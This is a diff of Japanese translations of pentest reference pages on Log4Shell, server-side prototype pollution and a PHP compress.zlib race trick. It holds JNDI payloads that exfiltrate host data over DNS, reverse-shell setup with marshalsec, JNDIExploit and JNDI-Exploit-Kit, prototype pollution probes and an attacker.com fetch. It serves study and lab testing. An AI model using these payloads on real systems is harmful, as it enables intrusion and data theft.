最初は低評価でしたが、後に重大なものに引き上げられたこのCVEは、CVE-2021-44228の2.15.0での不完全な修正に起因する**サービス拒否(DoS)**の欠陥です。デフォルト以外の構成に影響を与え、攻撃者が巧妙に作成されたペイロードを通じてDoS攻撃を引き起こすことを可能にします。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)ではバイパス方法が示されています。この問題は、メッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで、バージョン2.16.0および2.12.2で解決されました。
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||
|
||||
|
@ -136,7 +128,7 @@ Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するため
|
|||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの構成ファイルを制御する必要があります。これは、構成されたJDBCAppenderを介して任意のコード実行の可能性を含みます。詳細は[Checkmarxのブログ記事](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)にあります。
|
||||
log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの構成ファイルを制御する必要があります。これは、構成されたJDBCAppenderを介して任意のコード実行の可能性を含みます。詳細は[Checkmarxのブログ投稿](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)にあります。
|
||||
|
||||
## Log4Shellの悪用
|
||||
|
||||
|
@ -153,7 +145,7 @@ log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの
|
|||
**DNSリクエストが受信されたからといって、アプリケーションが悪用可能であるとは限らない**(または脆弱であるとは限らない)ことに注意してください。悪用を試みる必要があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
**バージョン2.15を悪用するには、localhostチェックのバイパスを追加する必要があります**:${jndi:ldap://**127.0.0.1#**...}
|
||||
**バージョン2.15を悪用するには、**localhostチェックバイパス**を追加する必要があります**:${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **ローカル発見**
|
||||
|
@ -171,7 +163,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
* 脆弱性を悪用して**情報を抽出**するため
|
||||
|
||||
例えば、次のようなリクエストを行うことができます:\
|
||||
または `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** のように、**環境変数の値を持つDNSリクエストが受信されれば**、アプリケーションが脆弱であることがわかります。
|
||||
または `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** のように、**環境変数の値を持つDNSリクエストが受信される**と、アプリケーションが脆弱であることがわかります。
|
||||
|
||||
他に**漏洩**を試みることができる情報:
|
||||
```
|
||||
|
@ -229,20 +221,20 @@ Any other env variable name that could store sensitive information
|
|||
{% hint style="info" %}
|
||||
JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されており、JNDIがLDAPを介してリモートコードベースをロードするのを防ぐためです。しかし、これらのバージョンは**デシリアライズ攻撃ベクターに対して保護されていない**ことに注意することが重要です。
|
||||
|
||||
これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内の**信頼されたガジェット**を利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
|
||||
これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で**信頼されたガジェット**を利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
|
||||
|
||||
**詳細情報**(_RMIおよびCORBAベクターの制限など_)については、**前のJNDI命名リファレンスセクションを確認するか**、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)を参照してください。
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsecとカスタムペイロード
|
||||
### RCE - カスタムペイロードを使用したMarshalsec
|
||||
|
||||
このテストは**THMボックス**で行えます:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
**THMボックス**でこれをテストできます:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
ツール[**marshalsec**](https://github.com/mbechler/marshalsec)を使用します(jarバージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で入手可能)。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
ターゲットにリバースシェルコードを読み込ませるために、以下の内容を持つ `Exploit.java` という名前のJavaファイルを作成します:
|
||||
ターゲットにリバースシェルコードを読み込ませるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
@ -260,17 +252,17 @@ Javaファイルをクラスファイルにコンパイルするには、次の
|
|||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**注意:** このエクスプロイトは、LDAPを介してリモートコードベースの読み込みを許可するJavaの設定に依存しています。これが許可されていない場合は、任意のコード実行のために信頼されたクラスを利用することを検討してください。
|
||||
**注意:** このエクスプロイトは、Javaの設定がLDAPを介してリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、任意のコード実行のために信頼されたクラスを利用することを検討してください。
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
著者はlog4shellの発見後、何らかの理由でこのプロジェクトをgithubから削除しました。キャッシュされたバージョンは[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)で見つけることができますが、著者の決定を尊重したい場合は、この脆弱性を利用するために別の方法を使用してください。
|
||||
|
||||
さらに、wayback machineではソースコードを見つけることができないため、ソースコードを分析するか、実行する内容がわからないことを承知の上でjarを実行してください。
|
||||
さらに、wayback machineではソースコードを見つけることができないため、ソースコードを分析するか、実行している内容がわからない状態でjarを実行してください。
|
||||
{% endhint %}
|
||||
|
||||
この例では、ポート8080で**log4shellに脆弱なウェブサーバー**を実行するだけで済みます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEには実行方法が記載されています_)。この脆弱なアプリは、HTTPリクエストヘッダーの_X-Api-Version_の内容を、脆弱なバージョンのlog4shellでログに記録しています。
|
||||
この例では、ポート8080で**log4shellに脆弱なウェブサーバー**を実行するだけで済みます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEには実行方法が記載されています_)。この脆弱なアプリは、HTTPリクエストヘッダーの内容_X-Api-Version_を、脆弱なバージョンのlog4shellでログに記録しています。
|
||||
|
||||
次に、**JNDIExploit**のjarファイルをダウンロードし、次のコマンドで実行できます:
|
||||
```bash
|
||||
|
@ -279,10 +271,10 @@ unzip JNDIExploit.v1.2.zip
|
|||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
```markdown
|
||||
コードを数分間読むと、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか**がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
|
||||
_com.feihong.ldap.gadgets_ では、目的のアクションを実行するために使用できる **特定のガジェット**を見つけることができます(潜在的に任意のコードを実行する)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する**さまざまなテンプレートクラスを見ることができます。
|
||||
コードを数分間読んだ後、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか**がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
|
||||
_com.feihong.ldap.gadgets_ では、**特定のガジェット**が見つかり、目的のアクションを実行するために使用できます(任意のコードを実行する可能性があります)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する**さまざまなテンプレートクラスを見ることができます。
|
||||
|
||||
利用可能なすべてのエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは:
|
||||
**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** を使用して、利用可能なすべてのエクスプロイトを確認できます。いくつかの便利なものは次のとおりです:
|
||||
```
|
||||
```bash
|
||||
ldap://null:1389/Basic/Dnslog/[domain]
|
||||
|
@ -301,12 +293,12 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
```
|
||||
攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar**を実行したターミナルに出力が表示されます。
|
||||
|
||||
**他のエクスプロイトオプションについては、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`を確認してください。また、必要に応じてLDAPおよびHTTPサーバーのポートを変更できます。**
|
||||
**他のエクスプロイトオプションについては、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`を確認してください。さらに、必要に応じてLDAPおよびHTTPサーバーのポートを変更できます。**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
前のエクスプロイトと同様に、[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用してこの脆弱性を悪用することができます。\
|
||||
被害者に送信するためのURLを生成するには、次のコマンドを実行します:
|
||||
被害者に送信するためのURLを生成するには、次のコマンドを実行します:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
@ -371,13 +363,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
この[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**のいくつかの機能を**悪用することが可能**であることがよく説明されています。
|
||||
|
||||
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文があります:
|
||||
Log4jの[**security page**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文があります:
|
||||
|
||||
> バージョン2.16.0(Java 8用)から、**メッセージルックアップ機能は完全に削除されました**。**構成内のルックアップはまだ機能します**。さらに、Log4jはデフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップは明示的に有効にする必要があります。
|
||||
|
||||
> バージョン2.17.0(Java 7およびJava 6用の2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開されます**。他の使用法では、最上位のルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
> バージョン2.17.0(Java 7およびJava 6用の2.12.3および2.3.1を含む)から、**構成内のルックアップ文字列のみが再帰的に展開されます**。他の使用法では、最上位のルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
|
||||
これは、デフォルトでは**`jndi`エクスプロイトを使用することを忘れることができる**ことを意味します。さらに、**再帰的ルックアップ**を実行するには、それらを構成する必要があります。
|
||||
これは、デフォルトでは**`jndi`のエクスプロイトを使用することを忘れることができる**ことを意味します。さらに、**再帰的ルックアップ**を実行するには、それらを構成する必要があります。
|
||||
|
||||
例えば、このCTFでは、log4j2.xmlファイルでこれが構成されていました:
|
||||
```xml
|
||||
|
@ -389,27 +381,27 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
### Env Lookups
|
||||
|
||||
[このCTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)では、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを抽出する必要がありました。\
|
||||
[**以前のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)で見たように、環境変数にアクセスする方法はいくつかあり、例えば**`${env:FLAG}`**があります。このCTFでは無駄でしたが、他の実際のシナリオでは有用かもしれません。
|
||||
[**以前のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)で見たように、環境変数にアクセスする方法はいくつかあり、例えば**`${env:FLAG}`**があります。このCTFでは無駄でしたが、他の実際のシナリオでは役立つかもしれません。
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
CTFでは、log4Jを使用してjavaアプリケーションの**stderrにアクセスできませんでした**が、Log4Jの**例外はstdoutに送信され**、pythonアプリで印刷されました。これは、例外をトリガーすることで内容にアクセスできることを意味しました。フラグを抽出するための例外は次のとおりです: **`${java:${env:FLAG}}`**。これは、**`${java:CTF{blahblah}}`**が存在しないため機能し、フラグの値を持つ例外が表示されます:
|
||||
CTFでは、log4Jを使用してjavaアプリケーションの**stderrにアクセスできませんでした**が、Log4Jの**例外はstdoutに送信され**、これはpythonアプリに印刷されました。これは、例外をトリガーすることで内容にアクセスできることを意味しました。フラグを抽出するための例外は次のとおりです: **`${java:${env:FLAG}}`**。これは、**`${java:CTF{blahblah}}`**が存在しないため機能し、フラグの値を持つ例外が表示されます:
|
||||
|
||||
![](<../../.gitbook/assets/image (1023).png>)
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
念のために言及すると、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログされる例外をトリガーすることもできます。例えば:
|
||||
念のために言及すると、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログされる例外をトリガーすることもできます。例えば:
|
||||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
これは、エラーメッセージ内の日付を抽出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出などの他のことには有用かもしれません。
|
||||
これはエラーメッセージ内の日付を抽出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出などの他のことには役立つかもしれません。
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
ただし、**正規表現をサポートする変換パターン**を使用して、正規表現を利用し、**二分探索**または**時間ベース**の動作を悪用してルックアップから情報を抽出することが可能です。
|
||||
ただし、**正規表現をサポートする変換パターン**を使用して、正規表現を利用し、**バイナリサーチ**または**時間ベース**の動作を悪用してルックアップから情報を抽出することが可能です。
|
||||
|
||||
* **例外メッセージによる二分探索**
|
||||
* **例外メッセージによるバイナリサーチ**
|
||||
|
||||
変換パターン**`%replace`**は、**正規表現**を使用して**文字列**の**内容**を**置き換える**ために使用できます。動作は次のようになります: `replace{pattern}{regex}{substitution}`\
|
||||
この動作を悪用することで、**正規表現が文字列内の何かに一致した場合に例外をトリガー**し(見つからなかった場合は例外なし)、次のようにすることができます:
|
||||
|
@ -442,7 +434,7 @@ CTFでは、log4Jを使用してjavaアプリケーションの**stderrにアク
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られる29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`が得られます!**
|
||||
> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られる29個の`#`は、それぞれ54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`が生成されます!**
|
||||
>
|
||||
> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグが`flagGuess`で始まらない場合、500以外のステータスコードが返されます)
|
||||
|
||||
|
@ -457,23 +449,18 @@ CTFでは、log4Jを使用してjavaアプリケーションの**stderrにアク
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serve XSS responses
|
||||
## XSSレスポンスを提供する
|
||||
|
||||
**詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### JSONコンテンツタイプをHTMLに変更
|
||||
### JSONコンテンツタイプをHTMLに変更する
|
||||
|
||||
**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映するExpressアプリで:
|
||||
**JSONコンテンツタイプレスポンス**を使用し、JSONを反映するExpressアプリで:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
@ -73,11 +59,11 @@ Expressが **UTF-7コンテンツをレンダリングする** ことが可能
|
|||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
It requires the **CORSモジュールをインストールする必要があります**
|
||||
**CORSモジュールをインストールする必要があります**
|
||||
|
||||
### **OPTIONSメソッド**
|
||||
|
||||
次のペイロードを使用すると、**OPTIONSレスポンスからメソッドを隠す**ことが可能です:
|
||||
次のペイロードを使用すると、**OPTIONSレスポンスからメソッドを隠す**ことが可能です:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
|
@ -88,24 +74,24 @@ It requires the **CORSモジュールをインストールする必要があり
|
|||
```
|
||||
### **ステータス**
|
||||
|
||||
次のPPペイロードを使用して、**返されるステータスコード**を変更することが可能です:
|
||||
次のPPペイロードを使用して、**返されたステータスコード**を変更することが可能です:
|
||||
```json
|
||||
{"__proto__":{"status":510}}
|
||||
```
|
||||
### エラー
|
||||
|
||||
文字列のようなプリミティブをプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**:
|
||||
文字列のようなプリミティブをプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何もしない操作が生成されます**。プロトタイプオブジェクトを`Object.prototype`自体に割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### Reflected Value
|
||||
|
||||
アプリケーションがレスポンスにオブジェクトを含めるとき、**`__proto__`** と一緒に**異常な名前の属性を作成すること**は洞察を与える可能性があります。特に、**異常な属性のみがレスポンスに返される**場合、これはアプリケーションの脆弱性を示している可能性があります:
|
||||
アプリケーションがレスポンスにオブジェクトを含めるとき、**`__proto__`**と一緒に**異常な名前の属性**を作成することは有益です。特に、**異常な属性のみがレスポンスに返される**場合、これはアプリケーションの脆弱性を示している可能性があります:
|
||||
```json
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介してプロパティを設定することと、オブジェクト内で直接設定することの両方が、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
|
||||
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介してプロパティを設定することと、オブジェクト内で直接設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
|
||||
```javascript
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
|
@ -125,17 +111,6 @@ Expressには、**クエリ文字列パラメータからオブジェクトを
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -146,8 +121,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` と `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
`PHP_STREAM_PREFER_STDIO` フラグを使用して `compress.zlib://` プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。
|
||||
|
@ -39,7 +25,7 @@ file_get_contents("compress.zlib://http://attacker.com/file")
|
|||
```
|
||||
http://attacker.com/fileへのリクエストを送信します。その後、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります。
|
||||
|
||||
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:
|
||||
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:
|
||||
```c
|
||||
/* Use a tmpfile and copy the old streams contents into it */
|
||||
|
||||
|
@ -53,28 +39,16 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||
|
||||
[**このCTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)は、前のトリックを使用して解決されました。
|
||||
|
||||
攻撃者は、**攻撃者のサーバーからファイルを読み取る接続を被害者サーバーに開かせます**。これは、**`compress.zlib`**プロトコルを使用します。
|
||||
攻撃者は、**被害者サーバーが攻撃者のサーバーからファイルを読み込む接続を開く**ようにします。これは**`compress.zlib`**プロトコルを使用します。
|
||||
|
||||
**接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。
|
||||
|
||||
**接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
|
||||
**接続**がまだオープンの間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
|
||||
|
||||
しかし、ウェブサーバーには、**`<?`を含むファイルの読み込みを防ぐチェックがあります**。したがって、攻撃者は**レースコンディション**を悪用します。まだ開いている接続の中で、**攻撃者**は**ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後に**PHPペイロードを**送信しますが、**その内容を読み込む前に**行います。
|
||||
しかし、ウェブサーバーには**`<?`を含むファイルの読み込みを防ぐチェック**があります。したがって、攻撃者は**レースコンディション**を悪用します。まだオープンの接続で、**攻撃者**は**ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後に**PHPペイロードを**送信しますが、**その内容を読み込む前に**行います。
|
||||
|
||||
